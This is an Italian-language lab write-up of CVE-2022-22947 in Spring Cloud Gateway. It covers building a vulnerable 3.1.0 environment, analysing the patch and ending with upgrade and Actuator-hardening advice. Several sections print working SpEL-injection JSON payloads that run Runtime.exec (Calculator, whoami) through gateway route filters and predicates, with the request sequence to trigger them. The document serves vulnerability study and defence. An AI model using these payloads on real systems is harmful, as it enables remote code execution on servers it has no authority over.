
Spring-Cloud-Spel-RCE
Clonare il codice dell’ambiente già predisposto su GitHub.
//⚠️注意环境代码下载路径不可含有中文或空格
git clone https://github.com/Ha0Liu/CVE-2022-22947.git

Aprire il pacchetto di codice appena scaricato con IDEA: Open ---> percorso del file scaricato ---> Open.
Creare manualmente un progetto e configurare l’ambiente.
(1) Creare un nuovo progetto, configurarlo e procedere con "next" fino alla fine;

(2) Analizzare la struttura delle directory del progetto:
1. La cartella `.idea` contiene i file di configurazione predefiniti di IntelliJ IDEA, senza altri scopi; può essere eliminata o conservata in base alle proprie esigenze;
2. La cartella `src` contiene principalmente l’area del codice dell’intero progetto, incluse le due sottocartelle `java` e `resource`: `java` è l’area per scrivere codice Java, `resource` è l’area di configurazione dell’intero progetto. Per default, Spring aggiunge il metodo `SpringApplication` in `java`, che è il metodo di avvio predefinito di Spring; in `resource` viene aggiunto per default il file `application.properties`, che è il file di configurazione del progetto Spring;
3. La cartella `test` è la cartella per i test; è possibile testare i metodi in `test`;
4. `pom.xml` è il file di configurazione di Maven, che include le dipendenze, le configurazioni, ecc. necessarie per il progetto;
5. `.iml` è la configurazione delle dipendenze dei pacchetti Maven, aggiunto per default;
6. La cartella `External Libraries` contiene tutti i pacchetti di dipendenza del progetto.
(3) Aggiungere le dipendenze Maven al file pom.xml (il repository Maven contiene i dettagli di tutte le dipendenze).
1. Il file `pom.xml` genera di default una parte del codice XML, come mostrato di seguito:

2. Importare le dipendenze necessarie per il progetto. Poiché questo progetto è un progetto SpringBoot, è necessario importare la dipendenza `spring-boot-starter` come starter del server. Inoltre, poiché questa vulnerabilità riguarda il gateway Gateway di SpringCloud, la versione a rischio è inferiore alla 3.1.1, quindi utilizziamo la versione 3.1.0 per riprodurre la vulnerabilità. Allo stesso tempo, abbiamo bisogno di monitorare e accedere al gateway tramite l’interfaccia actuator, quindi anche questa dipendenza è necessaria. I dettagli sono mostrati di seguito:

(4) Modificare il file di configurazione di Spring (percorso: src --> main --> resources --> application.properties), come di seguito:
1. `server.port` è la porta di avvio del server Spring, per default 8080; ciascuno può impostarla in base alle proprie esigenze;
2. `management.endpoint.gateway.enabled=true` abilita la porta actuator per monitorare il gateway SpringCloud-Gateway (per default è `false`, poiché questa vulnerabilità richiede il monitoraggio dello stato del gateway, dobbiamo modificarlo manualmente in `true` per abilitare il monitoraggio);
3. `management.endpoints.web.exposure.include=gateway` seleziona il gateway del server come Gateway, poiché questa vulnerabilità riguarda proprio il gateway Gateway, dichiariamo nel file di configurazione la scelta del gateway Gateway.

(5) Modificare la classe Java generata automaticamente dopo la creazione del progetto (il nome della classe è generalmente nomeprogetto+Application, percorso: src --> main --> java --> com.xxx.xxx --> xxxApplication), come mostrato di seguito:

(6) Avviare il progetto, come mostrato di seguito:

(7) Accedere a http://localhost:9000. Se la pagina visualizzata corrisponde allo screenshot, l’ambiente è stato configurato con successo.

(1) Innanzitutto, osserviamo la patch ufficiale di correzione, il diff è disponibile qui: https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e . La patch ufficiale sostituisce StandardEvaluationContext con GatewayEvaluationContext per eseguire le espressioni SPEL nella funzione org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue.

Dalla figura sopra si vede che questa patch modifica principalmente il metodo di parsing delle espressioni SPEL. Dalla riga 66 si può notare l’istruzione if: l’espressione SPEL deve iniziare con #{ e terminare con }. La funzione getValue serve per il parsing delle espressioni SPEL; si può dedurre che questa vulnerabilità è una RCE innescata dall’espressione SPEL.
(2) Tenendo premuto Ctrl e cliccando sul campo getValue con il tasto sinistro del mouse, si risale fino a trovare l’enumerazione org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType.

Dal metodo default sopra menzionato si può vedere che viene chiamato il metodo DEFAULT dell’enumerazione, i cui dettagli sono:
default ShortcutType shortcutType() {
return ShortcutType.DEFAULT;
}

(3) Risalire ulteriormente fino a trovare org.springframework.cloud.gateway.support.ConfigurationService.class#normalizeProperties().

Questo metodo normalizeProperties() analizza le proprietà del filtro; passa le proprietà di configurazione del filtro a normalize, che alla fine entra in getValue per eseguire l’espressione SPEL, causando così l’iniezione di espressioni SPEL.
(1) Secondo la documentazione [https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html](https://cloud.spring.io/spring-cloud-gateway/multi/multi actuator_api.html ), l’utente può creare e eliminare route nel gateway tramite actuator. La figura seguente mostra la struttura base del gateway.

(2) In IDEA, è possibile trovare le interfacce per la creazione e l’eliminazione di route tramite la funzione di mappatura di actuator.

(3) Risalendo alla classe RouteDefinition, si scopre che questa classe dichiara la struttura del contenuto del route.

(4) Risalendo alla classe FilterDefinition, si trova che Filter ha due parametri: name e args.
(5) Risalendo al parametro name, si scopre che nel metodo AbstractGatewayControllerEndpoint#save() viene effettuato un filtraggio su name. Il metodo save è l’interfaccia per la creazione del route; richiama due parametri: uno è l’ID del route (personalizzabile) e l’altro è RouteDefinition, che come detto dichiara la struttura del contenuto del route creato; questo innesca la vulnerabilità.

(6) Inserendo un breakpoint, eseguire il debug dinamico del metodo isAvailable() per vedere quali name possono superare il filtro.


I name mostrati nella figura sopra possono essere utilizzati per bypassare il controllo del name.
(7) Dall’analisi sopra, possiamo effettuare un attacco RCE utilizzando il parametro name specificato e un’espressione SPEL che inizia con #{ e termina con }. Il Payload è il seguente:
/**
* Spiegazione dell’espressione SPEL nel Payload
* Dato che dobbiamo eseguire comandi tramite espressioni, dobbiamo usare T(java.lang.Runtime).getRuntime().exec() per chiamare il metodo di esecuzione dei comandi.
* Poiché per eseguire un comando è necessario passare una stringa di tipo String all’espressione, dobbiamo forzare la conversione di tipo dell’espressione in String.
* Poiché per passare l’espressione è necessario inviarla come flusso di byte, dobbiamo chiamare il metodo T(org.springframework.util.StreamUtils).copyToByteArray().
*/
{
"id": "modificabile arbitrariamente (non deve coincidere con gli ID precedenti)",
"filters": [{
"name": "uno qualsiasi dei name mostrati nello screenshot sopra",
"args": {
"name": "modificabile arbitrariamente",
// Questo value è il comando per aprire la calcolatrice (macOS)
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
(8) Chain di sfruttamento senza output visibile con predicates (documentazione ufficiale): il flusso di esecuzione SPEL per predicates è identico a quello dei filter. La figura seguente mostra i name corrispondenti per predicates che vengono controllati; è possibile eseguire comandi utilizzando questi name. Ottenere il meccanismo di controllo dei name di predicates tramite debug dinamico e costruire il Payload seguendo gli esempi nella documentazione ufficiale.

/**
* Spiegazione dell’espressione SPEL nel Payload
* Dato che dobbiamo eseguire comandi tramite espressioni, dobbiamo usare T(java.lang.Runtime).getRuntime().exec() per chiamare il metodo di esecuzione dei comandi.
* Poiché per eseguire un comando è necessario passare una stringa di tipo String all’espressione, dobbiamo forzare la conversione di tipo dell’espressione in String.
* Poiché per passare l’espressione è necessario inviarla come flusso di byte, dobbiamo chiamare il metodo T(org.springframework.util.StreamUtils).copyToByteArray().
*/
{
"id": "modificabile arbitrariamente (non deve coincidere con gli ID precedenti)",
"predicates": [{
"name": "uno qualsiasi dei name mostrati nello screenshot sopra",
"args": {"_genkey_0":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"}
}],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}
Le chain filters e predicates senza output visibile esistono effettivamente e, a patto che i nomi di filters e predicates siano legali e superino le limitazioni, si può innescare la RCE.
(1) Principio dell’output visibile: le informazioni di definizione dei route memorizzate dall’utente sono conservate in memoria; dopo il refresh del route e l’esecuzione dell’espressione SPEL, il risultato dell’esecuzione viene scritto nelle informazioni del route. Consultando l’interfaccia API di visualizzazione delle informazioni del route, è possibile vedere il risultato dell’esecuzione della RCE nei dati mostrati.
(2) Dalla documentazione ufficiale si può vedere che, per la chain di sfruttamento con output visibile per filters, il nome name="AddResponseHeader" può attivare la chain con output visibile.
/**
* Spiegazione dell’espressione SPEL nel Payload
* Dato che dobbiamo eseguire comandi tramite espressioni, dobbiamo usare T(java.lang.Runtime).getRuntime().exec() per chiamare il metodo di esecuzione dei comandi.
* Poiché per eseguire un comando è necessario passare una stringa di tipo String all’espressione, dobbiamo forzare la conversione di tipo dell’espressione in String.
* Poiché per passare l’espressione è necessario inviarla come flusso di byte, dobbiamo chiamare il metodo T(org.springframework.util.StreamUtils).copyToByteArray().
*/
{
"id": "modificabile arbitrariamente (non deve coincidere con gli ID precedenti)",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
(3) Ora dobbiamo chiederci: oltre a name="AddResponseHeader", è possibile effettuare un attacco RCE con output visibile per tutti i name, come nella chain senza output visibile?
(4) Proviamo con name="RedirectTo" per verificare se è possibile un attacco con output visibile.


Scopriamo che non è possibile ottenere un output visibile. Controlliamo i log del backend: riportano un’eccezione di puntatore nullo.

Consultando la documentazione ufficiale, scopriamo che i parametri args immessi non corrispondono al filtro: questo filtro richiede due parametri: status e url. Modifichiamo i parametri e riproviamo.


Ancora restituisce 404, ma il backend non segnala più un’eccezione di puntatore nullo. Osservando l’eccezione, si capisce che spring-cloud-gateway ha effettivamente analizzato il formato dell’URL. Ciò significa che i parametri corrispondenti hanno limitazioni di tipo: ad esempio status deve essere un codice di stato HTTP (tipo enumerazione).

Dobbiamo cercare un altro punto di ingresso, trovando un filtro i cui parametri siano di tipo String.
(5) Andiamo nella documentazione ufficiale per cercare filtri con parametri String (ad esempio RemoveRequestHeader GatewayFilter Factory). Questo filtro richiede solo un parametro name di tipo String; possiamo quindi costruire un’espressione SPEL come valore di name.

Costruiamo il Payload e proviamo: scopriamo che è possibile ottenere un output visibile.


Si vede che nella chain di sfruttamento con output visibile per Filters, non solo c’è un filtro sul name, ma ci sono anche requisiti specifici sui parametri args. Tuttavia, è possibile bypassare queste limitazioni costruendo filtri diversi.
(6) Per la chain con output visibile per predicates, il percorso di ricerca è analogo a quello per Filters. Filtrare in base ai tipi e ai contenuti dei parametri nella documentazione ufficiale, trovare i filtri che soddisfano le condizioni per eseguire espressioni SPEL e ottenere così una RCE con output visibile.
(7) Per predicates, è possibile utilizzare name="Cookie" per eseguire comandi. Costruire il Payload seguendo i parametri di riferimento nella documentazione ufficiale.

Costruiamo il Payload e proviamo: l’output visibile viene ottenuto con successo.


La chain di sfruttamento con output visibile per predicates esiste effettivamente; non solo ci sono limitazioni sui nomi dei parametri args, ma anche sui tipi corrispondenti. Inoltre, vi sono limitazioni sull’integrità dei parametri.
Nella chain con output visibile, Spring non solo filtra il name del filtro, ma impone anche restrizioni sul tipo e sul numero di parametri args. È possibile verificare l’esistenza di una chain di sfruttamento consultando i dettagli dei filtri nella documentazione ufficiale.
(1) Innanzitutto, creare un gateway inviando una richiesta POST con un Payload malevolo.

(2) Aggiornare il gateway.

(3) Ottenere le informazioni sul gateway inviando una richiesta GET per il gateway test appena creato; si apre la calcolatrice.

(4) Eliminare il gateway.

(1) Innanzitutto, creare un gateway inviando una richiesta POST con un Payload malevolo.

(2) Aggiornare il gateway.

(3) Ottenere le informazioni sul gateway inviando una richiesta GET per il gateway hacktest appena creato; l’output di whoami viene visualizzato con successo.

(4) Eliminare il gateway.

(1) Se non è necessario l’endpoint Actuator, è possibile disabilitarlo con la seguente configurazione:
management.endpoint.gateway.enabled=false
(2) Se l’endpoint Actuator è necessario, proteggerlo utilizzando Spring Security.
La versione ufficiale di sicurezza è già stata rilasciata:
Utenti della versione 3.1.X: aggiornare tempestivamente alla 3.1.1+
Utenti della versione 3.0.X: aggiornare tempestivamente alla 3.0.7+